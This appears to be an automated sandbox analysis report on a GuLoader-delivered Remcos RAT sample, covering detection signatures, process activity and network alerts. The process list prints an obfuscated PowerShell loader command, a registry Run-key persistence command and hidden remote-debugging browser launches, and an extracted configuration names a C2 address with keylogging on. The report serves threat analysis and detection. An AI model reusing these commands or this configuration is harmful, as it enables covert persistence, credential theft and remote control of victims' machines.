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Windows
Analysis Report
rPO3799039985.exe
Overview
General Information
Detection
Remcos, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Attempt to bypass Chrome Application-Bound Encryption
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Remcos RAT
C2 URLs / IPs found in malware configuration
Connects to many ports of the same IP (likely port scanning)
Found suspicious powershell code related to unpacking or dynamic code loading
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Powershell drops PE file
Queues an APC in another process (thread injection)
Sigma detected: Suspicious Script Execution From Temp Folder
Suspicious powershell command line found
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64native
- rPO3799039985.exe (PID: 6396 cmdline:
"C:\Users\ user\Deskt op\rPO3799 039985.exe " MD5: EFB9125831992267D27C5DD9A2BDC0BE) - powershell.exe (PID: 2004 cmdline:
powershell .exe -wind owstyle hi dden "$Pol ysaccum=Ge t-Content -raw 'C:\U sers\user\ AppData\Lo cal\Temp\B adefacilit eter140\He ad158\rekv ireringen\ Martyrizat ion.Pra121 ';$Sikkerh edsforvari ngernes=$P olysaccum. SubString( 72097,3);. $Sikkerhed sforvaring ernes($Pol ysaccum) MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7696 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - msiexec.exe (PID: 5024 cmdline:
"C:\Window s\SysWOW64 \msiexec.e xe" MD5: 9D09DC1EDA745A5F87553048E57620CF) - cmd.exe (PID: 5600 cmdline:
"C:\Window s\System32 \cmd.exe" /c REG ADD HKCU\Soft ware\Micro soft\Windo ws\Current Version\Ru n /f /v "B esmears" / t REG_EXPA ND_SZ /d " %billigbog s% -window style 1 $C osier=(gp -Path 'HKC U:\Softwar e\Curetted \').konvol utternes;% billigbogs % ($Cosier )" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4248 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68) - reg.exe (PID: 8156 cmdline:
REG ADD HK CU\Softwar e\Microsof t\Windows\ CurrentVer sion\Run / f /v "Besm ears" /t R EG_EXPAND_ SZ /d "%bi lligbogs% -windowsty le 1 $Cosi er=(gp -Pa th 'HKCU:\ Software\C uretted\') .konvolutt ernes;%bil ligbogs% ( $Cosier)" MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - chrome.exe (PID: 7732 cmdline:
--user-dat a-dir=C:\U sers\user\ AppData\Lo cal\Temp\T mpUserData --window- position=- 2400,-2400 --remote- debugging- port=9222 --profile- directory= "Default" MD5: BB7C48CDDDE076E7EB44022520F40F77) - chrome.exe (PID: 5764 cmdline:
"C:\Progra m Files\Go ogle\Chrom e\Applicat ion\Chrome .exe" --ty pe=utility --utility -sub-type= network.mo jom.Networ kService - -lang=en-U S --servic e-sandbox- type=none --field-tr ial-handle =2204,i,22 3943292424 3639277,16 3535582229 63723582,2 62144 --va riations-s eed-versio n --mojo-p latform-ch annel-hand le=2220 /p refetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77) - msiexec.exe (PID: 6196 cmdline:
C:\Windows \System32\ msiexec.ex e /stext " C:\Users\u ser\AppDat a\Local\Te mp\xocgcuu fvngxpkogq qu" MD5: 9D09DC1EDA745A5F87553048E57620CF) - msiexec.exe (PID: 2092 cmdline:
C:\Windows \System32\ msiexec.ex e /stext " C:\Users\u ser\AppDat a\Local\Te mp\hihycff zjvycrqdkh bgvqc" MD5: 9D09DC1EDA745A5F87553048E57620CF) - msiexec.exe (PID: 5196 cmdline:
C:\Windows \System32\ msiexec.ex e /stext " C:\Users\u ser\AppDat a\Local\Te mp\rlmjdxq bxdqhcwror ltxbhbpx" MD5: 9D09DC1EDA745A5F87553048E57620CF) - msedge.exe (PID: 4008 cmdline:
--user-dat a-dir=C:\U sers\user\ AppData\Lo cal\Temp\T mpUserData --window- position=- 2400,-2400 --remote- debugging- port=9222 --profile- directory= "Default" MD5: 40AAE14A5C86EA857FA6E5FED689C48E) - msedge.exe (PID: 5092 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --fi eld-trial- handle=208 8,10008014 9477843735 90,7267593 1414640405 91,131072 --lang=en- US --servi ce-sandbox -type=none --mojo-pl atform-cha nnel-handl e=2428 /pr efetch:3 MD5: 40AAE14A5C86EA857FA6E5FED689C48E)
- msedge.exe (PID: 7440 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --windo w-position =-2400,-24 00 --remot e-debuggin g-port=922 2 --profil e-director y=Default --flag-swi tches-begi n --flag-s witches-en d --do-not -de-elevat e MD5: 40AAE14A5C86EA857FA6E5FED689C48E) - msedge.exe (PID: 6672 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \msedge.ex e" --type= utility -- utility-su b-type=net work.mojom .NetworkSe rvice --fi eld-trial- handle=204 4,21063878 1741874224 9,13274120 8284063193 96,131072 --lang=en- US --servi ce-sandbox -type=none --mojo-pl atform-cha nnel-handl e=2444 /pr efetch:3 MD5: 40AAE14A5C86EA857FA6E5FED689C48E) - identity_helper.exe (PID: 8100 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \94.0.992. 31\identit y_helper.e xe" --type =utility - -utility-s ub-type=wi nrt_app_id .mojom.Win rtAppIdSer vice --fie ld-trial-h andle=2044 ,210638781 7418742249 ,132741208 2840631939 6,131072 - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =6276 /pre fetch:8 MD5: 688D7C201AD85A9C6EDAFDC457E53219) - identity_helper.exe (PID: 4576 cmdline:
"C:\Progra m Files (x 86)\Micros oft\Edge\A pplication \94.0.992. 31\identit y_helper.e xe" --type =utility - -utility-s ub-type=wi nrt_app_id .mojom.Win rtAppIdSer vice --fie ld-trial-h andle=2044 ,210638781 7418742249 ,132741208 2840631939 6,131072 - -lang=en-U S --servic e-sandbox- type=none --mojo-pla tform-chan nel-handle =6276 /pre fetch:8 MD5: 688D7C201AD85A9C6EDAFDC457E53219)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
{"Host:Port:Password": ["87.120.114.20:53279:1"], "Assigned name": "P2-01", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-HMKDWQ", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
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JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
Click to see the 8 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: |
Source: | Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: |
Source: | Author: frack113: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
Stealing of Sensitive Information |
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Source: | Author: Joe Security: |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-11-11T08:10:55.239935+0100 | 2036594 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49769 | 87.120.114.20 | 53279 | TCP |
2024-11-11T08:10:56.661525+0100 | 2036594 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49772 | 87.120.114.20 | 53279 | TCP |
2024-11-11T08:10:56.677130+0100 | 2036594 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49771 | 87.120.114.20 | 53279 | TCP |
2024-11-11T08:10:56.692900+0100 | 2036594 | 1 | Malware Command and Control Activity Detected | 192.168.11.20 | 49770 | 87.120.114.20 | 53279 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-11-11T08:10:56.725745+0100 | 2803304 | 3 | Unknown Traffic | 192.168.11.20 | 49773 | 178.237.33.50 | 80 | TCP |
Timestamp | SID | Severity | Classtype | Source IP | Source Port | Destination IP | Destination Port | Protocol |
---|---|---|---|---|---|---|---|---|
2024-11-11T08:10:50.401480+0100 | 2803270 | 2 | Potentially Bad Traffic | 192.168.11.20 | 49767 | 104.21.13.139 | 443 | TCP |
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | Malware Configuration Extractor: |
Source: | Virustotal: | Perma Link |
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Source: | Static PE information: |
Source: | Binary string: | ||
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Source: | Code function: | 0_2_00406033 | |
Source: | Code function: | 0_2_004055D1 | |
Source: | Code function: | 0_2_00402688 | |
Source: | Code function: | 4_2_214D5C00 | |
Source: | Code function: | 4_2_214D7E20 | |
Source: | Code function: | 4_2_214D73F0 | |
Source: | Code function: | 4_2_214E8AD0 | |
Source: | Code function: | 4_2_21DE10F1 | |
Source: | Code function: | 4_2_21DE6580 | |
Source: | Code function: | 9_2_0040AE51 | |
Source: | Code function: | 10_2_00407EF8 | |
Source: | Code function: | 11_2_00407898 |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Source: | Memory has grown: |
Networking |
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Source: | TCP traffic detected without corresponding DNS query: | ||
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Source: | Code function: | 4_2_214D9293 |
Source: | HTTP traffic detected: | ||
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Source: | String found in binary or memory: |